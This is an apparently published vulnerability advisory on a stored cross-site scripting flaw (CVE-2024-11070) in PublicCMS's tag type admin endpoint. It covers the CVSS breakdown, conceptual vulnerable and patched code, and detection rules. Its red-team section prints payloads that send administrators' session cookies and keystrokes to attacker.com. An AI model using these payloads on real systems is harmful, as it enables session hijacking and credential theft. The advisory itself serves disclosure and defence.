CVE-2024-11070

Executive Summary

CVE-2024-11070 is a stored cross-site scripting (XSS) vulnerability identified in Sanluan PublicCMS version 5.202406.d. The flaw resides in the /admin/cmsTagType/save endpoint, specifically within the Tag Type Handler component. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML via the name parameter, which is then stored and executed in the browsers of other administrators viewing the tag type list. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. The vulnerability is classified as problematic with a low CVSS score due to the requirement for authentication and user interaction, but the public availability of a proof-of-concept (PoC) increases the risk.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the PublicCMS application code. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have a valid admin account.
• User Interaction (UI): Required (R) – The victim must click on the malicious tag or view the page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the public PoC and lack of a patch make it a viable target for internal or compromised admin accounts.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the tag type creation functionality. The /admin/cmsTagType/save endpoint accepts a name parameter without proper sanitization or output encoding. When an admin creates a new tag type with a malicious payload in the name field, the payload is stored in the database. Subsequently, when any admin views the tag type list (e.g., via /admin/cmsTagType/list), the payload is rendered in the HTML without escaping, causing the browser to execute the injected script.

Root Cause: The application fails to sanitize user input before storing it and fails to encode output when displaying it. This is a direct violation of secure coding practices for XSS prevention.

Attack Flow:

1. Attacker logs in as an admin.
2. Attacker navigates to the tag type creation page.
3. Attacker submits a request to /admin/cmsTagType/save with name=<script>alert('XSS')</script>.
4. The payload is stored in the database.
5. Victim admin navigates to the tag type list page.
6. The payload is rendered in the HTML, and the script executes in the victim's browser.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the controller handling the tag type save operation. A patched version would include input validation and output encoding.

Vulnerable Code (Conceptual):

// Controller method
@RequestMapping("/admin/cmsTagType/save")
public String save(TagType tagType) {
    tagTypeService.save(tagType); // Directly saves user input
    return "redirect:/admin/cmsTagType/list";
}

Patched Code (Conceptual):

// Controller method with sanitization
@RequestMapping("/admin/cmsTagType/save")
public String save(@Valid @RequestBody TagType tagType) {
    // Sanitize input
    String sanitizedName = Jsoup.clean(tagType.getName(), Whitelist.basic());
    tagType.setName(sanitizedName);
    tagTypeService.save(tagType);
    return "redirect:/admin/cmsTagType/list";
}

Additionally, the view layer must use proper output encoding (e.g., Thymeleaf's th:utext should be avoided; use th:text instead).

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid admin account on PublicCMS 5.202406.d.
• Network access to the admin panel.

Exploit Steps:

1. Log in to the admin panel.
2. Navigate to the tag type management section (e.g., /admin/cmsTagType/list).
3. Click "Add" or "Create" to open the creation form.
4. Intercept the POST request to /admin/cmsTagType/save using a proxy like Burp Suite.
5. Modify the name parameter to include a malicious payload:

   POST /admin/cmsTagType/save HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: JSESSIONID=...
   
   name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Send the request.
7. Wait for another admin to view the tag type list. The script will execute and exfiltrate their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>

Blue Team

Detection:

• Monitor for unusual POST requests to /admin/cmsTagType/save containing HTML tags or JavaScript.
• Look for outbound connections to unknown domains from the CMS server.
• Review server logs for 200 responses to /admin/cmsTagType/save followed by 200 responses to /admin/cmsTagType/list.

Mitigation:

• Implement input validation and output encoding as shown in the patched code section.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict admin access to trusted IP addresses.
• Regularly audit admin accounts and session activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admin/cmsTagType/save with name parameter containing <script> tags.
  • Outbound HTTP requests to attacker-controlled domains from the CMS server.
  • Unusual Referer headers pointing to /admin/cmsTagType/save.

• File IOCs:

  • Log entries showing the creation of tag types with suspicious names.
  • Database entries in the cms_tag_type table with name containing HTML/JavaScript.

• Behavioral IOCs:

  • Multiple failed login attempts followed by successful admin login.
  • Creation of tag types with names that are not typical for the organization.

Detection Engineering

YARA Rule

rule CVE_2024_11070_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-11070 in PublicCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11070"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
        $xss6 = "fetch(" nocase
        $xss7 = "document.cookie" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: PublicCMS Tag Type XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against CVE-2024-11070 in PublicCMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/cmsTagType/save*'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
            - 'fetch('
    condition: selection
falsepositives:
    - Legitimate admin using HTML in tag names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11070 PublicCMS Tag Type XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/cmsTagType/save"; http_uri; content:"name="; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:|alert\(|fetch\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Tag Type Creation: If not critical, disable the tag type creation functionality by removing or restricting access to the /admin/cmsTagType/save endpoint.
2. Apply Input Validation: Manually patch the application by adding server-side input validation to reject any input containing HTML tags or JavaScript.
3. Implement Output Encoding: Ensure that all user-supplied data is HTML-encoded before being rendered in the browser.

Long-Term Fix:

• Upgrade to a patched version of PublicCMS once released.
• Conduct a full security audit of the application to identify similar vulnerabilities.
• Implement a Content Security Policy (CSP) to mitigate the impact of XSS.

Workaround:

• Use a WAF to block XSS payloads.
• Restrict admin access to trusted IP addresses only.
• Monitor logs for suspicious activity.

Valters IT